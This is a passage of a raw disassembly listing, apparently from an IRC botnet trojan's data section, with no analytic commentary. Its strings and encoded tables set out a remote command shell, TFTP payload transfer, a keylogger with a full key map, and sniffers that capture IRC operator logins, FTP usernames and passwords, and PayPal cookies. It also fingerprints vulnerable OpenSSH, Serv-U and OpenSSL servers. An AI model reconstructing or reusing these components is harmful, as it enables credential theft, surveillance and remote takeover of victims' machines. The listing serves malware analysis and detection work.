		db 'Accept-Ranges: bytes',0Dh,0Ah
		db 'Date: %s %s GMT',0Dh,0Ah
		db 'Last-Modified: %s %s GMT',0Dh,0Ah
		db 'Expires: %s %s GMT',0Dh,0Ah
		db 'Connection: close',0Dh,0Ah
		db 0Dh,0Ah,0
		align 4
aHhMmSs		db 'HH:mm:ss',0         ; DATA XREF: sub_40F530+98o
					; sub_41AA42+1AEo
		align 4
aDddDdMmmYyyy	db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o
		align 4
aApplicationOct	db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o
		align 4
aTextHtml	db 'text/html',0        ; DATA XREF: sub_40F530+5Fo
		align 4
unk_433A74	db  2Dh	; -		; DATA XREF: sub_40F6B3+296o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_37	db ' failed to start worker thread, error %d',0
		align 4
unk_433AAC	db  2Dh	; -		; DATA XREF: sub_40F6B3+212o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aWorkerThreadOf	db ' worker thread of server thread: %d.',0
		align 10h
asc_433AE0:				; DATA XREF: sub_40F6B3+15Ao
		unicode	0, <*>,0
aS_3		db '\%s',0              ; DATA XREF: sub_40F6B3+2Fo
aFoundIFilesAnd	db 'Found: %i Files and %i Directories',0Dh,0Ah,0
					; DATA XREF: sub_40F96A+652o
		align 10h
aTrTdColspan3_0	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+637o
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah
		db '</TABLE>',0Dh,0Ah
		db '</BODY>',0Dh,0Ah
		db '</HTML>',0Dh,0Ah,0
		align 4
aPrivmsgSFoundS	db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0
					; DATA XREF: sub_40F96A+61Co
		align 4
a31s21sIBytes	db '%-31s  %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do
		align 4
aTdTdWidthDCo_0	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+571o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
aCodeSCodeA_0	db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o
		align 4
aCode_30sGtCode	db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o
		align 4
aPrivmsgS31s2_0	db 'PRIVMSG %s :%-31s  %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo
		align 4
a31s21s		db '%-31s  %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo
		align 4
aTdTdWidthDCode	db '</TD>',0Dh,0Ah      ; DATA XREF: sub_40F96A+3F9o
		db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aCodeSCodeA	db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o
		align 4
aCode_29sGtCode	db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o
		align 4
aSS_0		db '%s%s/',0            ; DATA XREF: sub_40F96A+36Co
		align 4
aTrTdWidthDAHre	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+328o
					; sub_40F96A+496o
		db '<TD WIDTH="%d"><A HREF="',0
		align 4
aPrivmsgS31s21s	db 'PRIVMSG %s :%-31s  %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o
		align 10h
aS		db '<%s>',0             ; DATA XREF: sub_40F96A+2E9o
					; sub_40F96A+40Bo
		align 4
a2_2d2_2d4d2_2d	db '%2.2d/%2.2d/%4d  %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo
aAm		db 'AM',0               ; DATA XREF: sub_40F96A+295o
		align 4
aPm		db 'PM',0               ; DATA XREF: sub_40F96A+28Ao
		align 10h
a__		db '..',0               ; DATA XREF: sub_40F96A+237o
		align 4
aTrTdColspan3AH	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+1C5o
		db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T'
		db 'D>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aSearchingForS	db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+149o
aTrTdColspan3Hr	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+12Do
		db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aTrTdWidthDCode	db '<TR>',0Dh,0Ah       ; DATA XREF: sub_40F96A+F9o
		db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah
		db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah
		db '</TR>',0Dh,0Ah,0
		align 4
aH1IndexOfSH1Ta	db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_40F96A+AEo
		db '<TABLE BORDER="0">',0Dh,0Ah,0
		align 10h
aHtmlHeadTitleI	db '<HTML>',0Dh,0Ah     ; DATA XREF: sub_40F96A+79o
		db '<HEAD>',0Dh,0Ah
		db '<TITLE>Index of %s</TITLE>',0Dh,0Ah
		db '</HEAD>',0Dh,0Ah
		db '<BODY>',0Dh,0Ah,0
		align 10h
aPrivmsgSSearch	db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+4Bo
aSSHttp1_1Refer	db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_4100DB+8Fo
		db 'Referer: %s',0Ah
		db 'Host: %s',0Ah
		db 'Connection: close',0Ah
		db 0Ah,0
dword_433F88	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:0041036Do
aServerFailed_0	db '- server failed, returned %d',0
		align 4
aUseridUnixS	db ' : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: ___:00410312o
dword_433FCC	dd 234032Dh, 6E656469h,	3026474h ; DATA	XREF: ___:004102B7o
aClientConnecti	db '- client connection from %s:%d.',0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_38	db 'Failed to start client thread, error: <%d>.',0
unk_434034	db  2Dh	; -		; DATA XREF: ___:00410493o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aClientConnec_0	db 'Client connection from IP: %s:%d, Server thread: %d.',0
		align 4
unk_43407C	db  2Dh	; -		; DATA XREF: ___:004106E5o
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aFailedToSta_39	db 'Failed to start connection thread, error: <%d>.',0
unk_4340BC	db  2Dh	; -		; DATA XREF: ___:0041061Co
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    3
		db 2, 2Dh, 20h
aClientConnec_1	db 'Client connection to IP: %s:%d, Server thread: %d.',0
		align 10h
unk_434100	db  2Dh	; -		; DATA XREF: ___:004109A8o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedOutS	db '- User logged out: <%s@%s>.',0
		align 4
unk_43412C	db  2Dh	; -		; DATA XREF: ___:00410981o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorSessionru	db '- Error: SessionRun(): <%d>.',0
		align 4
unk_434158	db  2Dh	; -		; DATA XREF: ___:00410961o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aUserLoggedInS@	db '- User logged in: <%s@%s>.',0
aPermissionDeni	db 'Permission denied',0Ah,0 ; DATA XREF: ___:00410931o
		align 4
unk_434194	db  2Dh	; -		; DATA XREF: ___:004108A0o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorGetpeerna	db '- Error: getpeername(): <%d>.',0
		align 10h
unk_4341C0	db  2Dh	; -		; DATA XREF: sub_4109C4:loc_410A09o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aProtocolString	db '- Protocol string too long.',0
		align 4
dword_4341EC	dd 234032Dh, 676F6C72h,	2646E69h, 4C202D03h, 6E69676Fh
					; DATA XREF: sub_410A1E+1Bo
		dd 6A657220h, 65746365h, 52202C64h, 746F6D65h, 73752065h
		dd 203A7265h, 4073253Ch, 2E3E7325h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 45202D03h, 726F7272h
		dd 6573203Ah, 72657672h, 69616620h, 2C64656Ch, 74657220h
		dd 656E7275h, 3C203A64h, 2E3E6425h, 0
		dd 234032Dh, 676F6C72h,	2646E69h, 46202D03h, 656C6961h
		dd 6F742064h, 61747320h, 63207472h, 6E65696Ch, 68742074h
		dd 64616572h, 7265202Ch, 3A726F72h, 64253C20h, 2E3Eh, 234032Dh
		dd 676F6C72h, 2646E69h,	43202D03h, 6E65696Ch, 6F632074h
		dd 63656E6Eh, 6E6F6974h, 6F726620h, 5049206Dh, 7325203Ah
		dd 2C64253Ah, 72655320h, 20726576h, 65726874h, 203A6461h
		dd 2E6425h, 234032Dh, 676F6C72h, 2646E69h, 52202D03h, 79646165h
		dd 646E6120h, 69617720h, 676E6974h, 726F6620h, 636E6920h
		dd 6E696D6Fh, 6F632067h, 63656E6Eh, 6E6F6974h, 2E73h, 234032Dh
		dd 676F6C72h, 2646E69h,	46202D03h, 656C6961h, 6F742064h
		dd 736E6920h, 6C6C6174h, 6E6F6320h, 6C6F7274h, 6820432Dh
		dd 6C646E61h, 202C7265h, 6F727265h, 3C203A72h, 2E3E6425h
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aErrorWsastartu	db '- Error: WSAStartup(): <%d>.',0
		align 4
unk_434388	db  2Dh	; -		; DATA XREF: sub_410CD5+DEo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aWaitformultipl	db '- WaitForMultipleObjects error: <%d>.',0
		align 4
unk_4343BC	db  2Dh	; -		; DATA XREF: sub_410CD5+59o
					; sub_410CD5+8Bo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCreate	db '- Failed to create ReadShell session thread, error: <%d>.',0
		align 4
unk_434404	db  2Dh	; -		; DATA XREF: sub_410E26+AFo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExecut	db '- Failed to execute shell.',0
unk_43442C	db  2Dh	; -		; DATA XREF: sub_410E26+7Eo
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_0	db '- Failed to create shell stdin pipe, error: <%d>.',0
		align 4
unk_43446C	db  2Dh	; -		; DATA XREF: sub_410E26+5Co
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToCrea_1	db '- Failed to create shell stdout pipe, error: <%d>.',0
unk_4344AC	db  2Dh	; -		; DATA XREF: sub_410F1F+C3o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToExec_0	db '- Failed to execute shell, error: <%d>.',0
		align 4
aCmdQ		db 'cmd /q',0           ; DATA XREF: sub_410F1F+8Co
		align 4
dword_4344EC	dd 234032Dh, 676F6C72h,	2646E69h, 53202D03h, 69737365h
					; DATA XREF: sub_410FF8+A1o
		dd 65526E6Fh, 68536461h, 546C6C65h, 61657268h, 78652064h
		dd 64657469h, 7265202Ch, 3A726F72h, 6C253C20h, 2E3E64h
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 65732074h, 72657672h, 206E6F20h
		dd 74726F50h, 2E642520h, 0
		dd 234032Dh, 6B636F73h,	3023473h, 6146202Dh, 64656C69h
		dd 206F7420h, 72617473h, 6C632074h, 746E6569h, 72687420h
		dd 2C646165h, 72726520h, 203A726Fh, 3E64253Ch, 2Eh, 234032Dh
		dd 6B636F73h, 3023473h,	6C43202Dh, 746E6569h, 6E6F6320h
		dd 7463656Eh, 206E6F69h, 6D6F7266h, 3A504920h, 3A732520h
		dd 202C6425h, 76726553h, 74207265h, 61657268h, 25203A64h
		dd 2E64h, 234032Dh, 6B636F73h, 3023473h, 7245202Dh, 3A726F72h
		dd 69614620h, 2064656Ch, 63206F74h, 656E6E6Fh, 74207463h
		dd 6174206Fh, 74656772h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7245202Dh
		dd 3A726F72h, 69614620h, 2064656Ch, 6F206F74h, 206E6570h
		dd 6B636F73h, 29287465h, 6572202Ch, 6E727574h, 203A6465h
		dd 3E64253Ch, 2Eh, 234032Dh, 6B636F73h,	3023473h, 7541202Dh
		dd 6E656874h, 61636974h, 6E6F6974h, 69616620h, 2E64656Ch
		dd 6D655220h, 2065746Fh, 72657375h, 203A6469h, 21207325h
		dd 7325203Dh, 2Eh, 4000500h, 7868746Bh,	0
aTftpTransferCo	db 'Tftp transfer complete to: %s',0
		align 4
aTftpTransferSt	db 'Tftp transfer started to: %s',0
		align 10h
		dw 8
		unicode	0, <>,0
aB:
		unicode	0, <b>,0
		dd 62000000h, 2	dup(0)
		dd 0Dh,	65h, 65000000h,	2 dup(0)
		dd 1Bh,	4353455Bh, 5B00005Dh, 5D435345h, 0
		dd 70h,	5D31465Bh, 5B000000h, 5D3146h, 0
		dd 71h,	5D32465Bh, 5B000000h, 5D3246h, 0
		dd 72h,	5D33465Bh, 5B000000h, 5D3346h, 0
		dd 73h,	5D34465Bh, 5B000000h, 5D3446h, 0
		dd 74h,	5D35465Bh, 5B000000h, 5D3546h, 0
		dd 75h,	5D36465Bh, 5B000000h, 5D3646h, 0
		dd 76h,	5D37465Bh, 5B000000h, 5D3746h, 0
		dd 77h,	5D38465Bh, 5B000000h, 5D3846h, 0
		dd 78h,	5D39465Bh, 5B000000h, 5D3946h, 0
		dd 79h,	3031465Bh, 5B00005Dh, 5D303146h, 0
		dd 7Ah,	3131465Bh, 5B00005Dh, 5D313146h, 0
		dd 7Bh,	3231465Bh, 5B00005Dh, 5D323146h, 0
		dd 0C0h, 60h, 7E000000h, 2 dup(0)
		dd 2 dup(31h), 21000000h, 2 dup(0)
		dd 2 dup(32h), 40000000h, 2 dup(0)
		dd 2 dup(33h), 23000000h, 2 dup(0)
		dd 2 dup(34h), 24000000h, 2 dup(0)
		dd 2 dup(35h), 25000000h, 2 dup(0)
		dd 2 dup(36h), 5E000000h, 2 dup(0)
		dd 2 dup(37h), 26000000h, 2 dup(0)
		dd 2 dup(38h), 2A000000h, 2 dup(0)
		dd 2 dup(39h), 28000000h, 2 dup(0)
		dd 2 dup(30h), 29000000h, 2 dup(0)
		dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
		dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
		dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
		dd 51h,	71h, 51000000h,	2 dup(0)
		dd 57h,	77h, 57000000h,	2 dup(0)
		dd 45h,	65h, 45000000h,	2 dup(0)
		dd 52h,	72h, 52000000h,	2 dup(0)
		dd 54h,	74h, 54000000h,	2 dup(0)
		dd 59h,	79h, 59000000h,	2 dup(0)
		dd 55h,	75h, 55000000h,	2 dup(0)
		dd 49h,	69h, 49000000h,	2 dup(0)
		dd 4Fh,	6Fh, 4F000000h,	2 dup(0)
		dd 50h,	70h, 50000000h,	2 dup(0)
		dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
		dd 0DDh, 0
		dd 7D000000h, 2	dup(0)
		dd 41h,	61h, 61000000h,	2 dup(0)
		dd 53h,	73h, 53000000h,	2 dup(0)
		dd 44h,	64h, 44000000h,	2 dup(0)
		dd 46h,	66h, 46000000h,	2 dup(0)
		dd 47h,	67h, 47000000h,	2 dup(0)
		dd 48h,	68h, 48000000h,	2 dup(0)
		dd 4Ah,	6Ah, 4A000000h,	2 dup(0)
		dd 4Bh,	6Bh, 4B000000h,	2 dup(0)
		dd 4Ch,	6Ch, 4C000000h,	2 dup(0)
		dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
		dd 0DEh, 27h, 22000000h, 2 dup(0)
		dd 5Ah,	7Ah, 5A000000h,	2 dup(0)
		dd 58h,	78h, 58000000h,	2 dup(0)
		dd 43h,	63h, 43000000h,	2 dup(0)
		dd 56h,	76h, 56000000h,	2 dup(0)
		dd 42h,	62h, 42000000h,	2 dup(0)
		dd 4Eh,	6Eh, 4E000000h,	2 dup(0)
		dd 4Dh,	6Dh, 4D000000h,	2 dup(0)
		dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
		dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
		dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
		dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
		dd 11h,	5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
		dd 5B00005Dh, 5D4E4957h, 0
		dd 2 dup(20h), 20000000h, 2 dup(0)
		dd 5Ch,	4E49575Bh, 5B00005Dh, 5D4E4957h, 0
		dd 2Ch,	5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
		dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
		dd 5D534E49h, 0
		dd 24h,	4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
		dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
		dd 5D4C4544h, 0
		dd 23h,	444E455Bh, 5B00005Dh, 5D444E45h, 0
		dd 22h,	4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
		dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
		dd 5D5055h, 0
		dd 27h,	4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
		dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
		dd 4B4C4D4Eh, 5Dh, 6Fh,	2Fh, 2F000000h,	2 dup(0)
		dd 6Ah,	2Ah, 2A000000h,	2 dup(0)
		dd 6Dh,	2Dh, 2D000000h,	2 dup(0)
		dd 6Bh,	2Bh, 2B000000h,	2 dup(0)
		dd 60h,	30h, 30000000h,	2 dup(0)
		dd 61h,	31h, 31000000h,	2 dup(0)
		dd 62h,	32h, 32000000h,	2 dup(0)
		dd 63h,	33h, 33000000h,	2 dup(0)
		dd 64h,	34h, 34000000h,	2 dup(0)
		dd 65h,	35h, 35000000h,	2 dup(0)
		dd 66h,	36h, 36000000h,	2 dup(0)
		dd 67h,	37h, 37000000h,	2 dup(0)
		dd 68h,	38h, 38000000h,	2 dup(0)
		dd 69h,	39h, 39000000h,	2 dup(0)
		dd 6Eh,	2Eh, 2E000000h,	2 dup(0)
dword_434E5C	dd 234032Dh, 6C79656Bh,	302676Fh, 7325202Dh, 0 ; DATA XREF: ___:00411CC1o
aDDDDDDS	db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: ___:00411C9Bo
		align 4
asc_434E8C:				; DATA XREF: ___:00411C3Fo
		unicode	0, <\>,0
aSReturnS	db '%s (Return) (%s)',0
		align 4
aSBufferFullS	db '%s (Buffer full) (%s)',0
		align 4
aSChangedWindow	db '%s (Changed Windows: %s)',0
		align 4
		dd offset off_435750
		dd offset off_43574C
		dd offset off_435748
		dd offset aHttp_0	; "HTTP"
		dd 6F6C2E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C213Ah, 6E6967h, 4 dup(0)
		dd 6F6C403Ah, 6E6967h, 4 dup(0)
		dd 6F6C243Ah, 6E6967h, 4 dup(0)
		dd 6F6C253Ah, 6E6967h, 4 dup(0)
		dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C263Ah, 6E6967h, 4 dup(0)
		dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
		dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
		dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
		dd 6F6C273Ah, 6E6967h, 4 dup(0)
		dd 6F6C603Ah, 6E6967h, 4 dup(0)
		dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
		dd 6F6C203Ah, 6E6967h, 4 dup(0)
		dd 75612E3Ah, 6874h, 4 dup(0)
		dd 75612C3Ah, 6874h, 4 dup(0)
		dd 7561213Ah, 6874h, 4 dup(0)
		dd 7561403Ah, 6874h, 4 dup(0)
		dd 7561243Ah, 6874h, 4 dup(0)
		dd 7561253Ah, 6874h, 4 dup(0)
		dd 75615E3Ah, 6874h, 4 dup(0)
		dd 7561263Ah, 6874h, 4 dup(0)
		dd 75612A3Ah, 6874h, 4 dup(0)
		dd 75612D3Ah, 6874h, 4 dup(0)
		dd 75612B3Ah, 6874h, 4 dup(0)
		dd 75612F3Ah, 6874h, 4 dup(0)
		dd 75615C3Ah, 6874h, 4 dup(0)
		dd 75613D3Ah, 6874h, 4 dup(0)
		dd 75613F3Ah, 6874h, 4 dup(0)
		dd 7561273Ah, 6874h, 4 dup(0)
		dd 7561603Ah, 6874h, 4 dup(0)
		db 3Ah
		db 7Eh,	61h, 75h	; DATA XREF: ___:off_43574Co
		dd 6874h, 4 dup(0)
		dd 7561203Ah, 6874h, 4 dup(0)
		dd 64692E3Ah, 5	dup(0)
		dd 64692C3Ah, 5	dup(0)
		dd 6469213Ah, 5	dup(0)
		dd 6469403Ah, 5	dup(0)
		dd 6469243Ah, 5	dup(0)
		dd 6469253Ah, 5	dup(0)
		dd 64695E3Ah, 5	dup(0)
		dd 6469263Ah, 5	dup(0)
		dd 64692A3Ah, 5	dup(0)
		dd 64692D3Ah, 5	dup(0)
		dd 64692B3Ah, 5	dup(0)
		dd 64692F3Ah, 5	dup(0)
		dd 64695C3Ah, 5	dup(0)
		dd 64693D3Ah, 5	dup(0)
		dd 64693F3Ah, 5	dup(0)
		dd 6469273Ah, 5	dup(0)
		dd 6469603Ah, 5	dup(0)
		dd 64697E3Ah, 5	dup(0)
		dd 6469203Ah, 5	dup(0)
		dd 61682E3Ah, 6E696873h, 4 dup(0)
		dd 6168213Ah, 6E696873h, 4 dup(0)
		dd 6168243Ah, 6E696873h, 4 dup(0)
		dd 6168253Ah, 6E696873h, 4 dup(0)
		dd 65732E3Ah, 65727563h, 4 dup(0)
		dd 6573213Ah, 65727563h, 4 dup(0)
		dd 6C2E3Ah, 5 dup(0)
		dd 6C213Ah, 5 dup(0)
		dd 6C243Ah, 5 dup(0)
		dd 6C253Ah, 5 dup(0)
		dd 782E3Ah, 5 dup(0)
		dd 78213Ah, 5 dup(0)
		dd 78243Ah, 5 dup(0)
		dd 78253Ah, 5 dup(0)
		dd 79732E3Ah, 6Eh, 4 dup(0)
		dd 7973213Ah, 6Eh, 4 dup(0)
		dd 7973243Ah, 6Eh, 4 dup(0)
		dd 7973253Ah, 6Eh, 4 dup(0)
		dd 4B444320h, 207965h, 4 dup(0)
		dd 4E494F4Ah, 2320h, 3 dup(0)
		dd 1, 4B43494Eh, 20h, 3	dup(0)
		dd 1, 5245504Fh, 20h, 3	dup(0)
		dd 1, 7265706Fh, 20h, 3	dup(0)
		dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
		dd 1, 52455355h, 20h, 3	dup(0)
		dd 2, 53534150h, 20h, 3	dup(0)
		dd 2, 70796170h, 6C61h,	3 dup(0)
		dd 3, 50594150h, 4C41h,	3 dup(0)
		dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
		dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
		dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
		dd 3, 6	dup(0)
aHttp_0		db 'HTTP',0             ; DATA XREF: ___:00434EE4o
		align 4
off_435748	dd offset aKmU+2	; DATA XREF: ___:00434EE0o
off_43574C	dd offset byte_435249	; DATA XREF: ___:00434EDCo
off_435750	dd offset word_544F42	; DATA XREF: ___:00434ED8o
		dd 234032Dh, 696E7370h,	3026666h, 6572202Dh, 29287663h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h, 7573202Dh, 63697073h
		dd 73756F69h, 20732520h, 6B636170h, 66207465h, 3A6D6F72h
		dd 3A732520h, 2D206425h, 732520h, 234032Dh, 696E7370h
		dd 3026666h, 2Dh, 4E53505Bh, 5D464649h,	0
		dd 234032Dh, 696E7370h,	3026666h, 5357202Dh, 636F4941h
		dd 29286C74h, 69616620h, 2C64656Ch, 74657220h, 656E7275h
		dd 64252064h, 0
		dd 234032Dh, 696E7370h,	3026666h, 6962202Dh, 2928646Eh
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 696E7370h,	3026666h
aSocketFailedRe	db '- socket() failed, returned %d',0
		align 4
aHashin		db ':!hashin',0         ; DATA XREF: sub_412360+103o
		align 4
a_hashin	db ':.hashin',0         ; DATA XREF: sub_412360+EEo
		align 10h
aIdent_0	db ':!ident',0          ; DATA XREF: sub_412360+D9o
a_ident		db ':.ident',0          ; DATA XREF: sub_412360+C8o
a_login		db ':.Login',0          ; DATA XREF: sub_412360+B7o
aLogin		db ':!Login',0          ; DATA XREF: sub_412360+A6o
aLogin_0	db ':!login',0          ; DATA XREF: sub_412360+95o
a_login_0	db ':.login',0          ; DATA XREF: sub_412360+84o
a366		db '366 ',0             ; DATA XREF: sub_412360+73o
		align 4
a302_0		db '302 ',0             ; DATA XREF: sub_412360:loc_4123C2o
		align 10h
aJoin_0		db 'JOIN #',0           ; DATA XREF: sub_412360+4Do
		align 4
aPsniff_0	db 'PSNIFF//',0         ; DATA XREF: sub_412360+3Co
		align 4
aPsniff_1	db '[PSNIFF]:',0        ; DATA XREF: sub_412360+2Bo
		align 10h
aBotSniff	db 'Bot sniff',0        ; DATA XREF: sub_412360+5o
		align 4
aYouAreNowAnIrc	db 'You are now an IRC Operator',0 ; DATA XREF: sub_412477+62o
aOper		db 'oper ',0            ; DATA XREF: sub_412477+51o
		align 10h
aNick_1		db 'NICK ',0            ; DATA XREF: sub_412477:loc_4124B7o
					; sub_4124ED+2Bo
		align 4
aOper_0		db 'OPER ',0            ; DATA XREF: sub_412477+2Bo
		align 10h
aIrcSniff	db 'IRC sniff',0        ; DATA XREF: sub_412477+5o
		align 4
aPass_0		db 'PASS ',0            ; DATA XREF: sub_4124ED+73o
		align 4
aUser_3		db 'USER ',0            ; DATA XREF: sub_4124ED+62o
		align 4
a230		db '230 ',0             ; DATA XREF: sub_4124ED:loc_41253Eo
		align 4
a220		db '220 ',0             ; DATA XREF: sub_4124ED+3Co
		align 4
aFtpSniff	db 'FTP sniff',0        ; DATA XREF: sub_4124ED+5o
		align 4
aSetCookie	db 'Set-Cookie:',0      ; DATA XREF: sub_412574+73o
aPaypal_com	db 'paypal.com',0       ; DATA XREF: sub_412574+62o
		align 10h
aPaypal_com_0	db 'PAYPAL.COM',0       ; DATA XREF: sub_412574+51o
		align 4
aPaypal_0	db 'PAYPAL',0           ; DATA XREF: sub_412574:loc_4125B4o
		align 4
aPaypal		db 'paypal',0           ; DATA XREF: sub_412574+2Bo
		align 4
aHttpSniff	db 'HTTP sniff',0       ; DATA XREF: sub_412574+5o
		align 4
aOpenssh_2	db 'OpenSSH_2',0        ; DATA XREF: sub_4125FB+51o
		align 4
aServUFtpServer	db 'Serv-U FTP Server',0 ; DATA XREF: sub_4125FB:loc_41263Bo
		align 4
aOpenssl0_9_6	db 'OpenSSL/0.9.6',0    ; DATA XREF: sub_4125FB+2Bo
		align 4
aVulnSniff	db 'VULN sniff',0       ; DATA XREF: sub_4125FB+5o
		align 4
unk_4359C4	db  2Dh	; -		; DATA XREF: sub_412660+3ECo
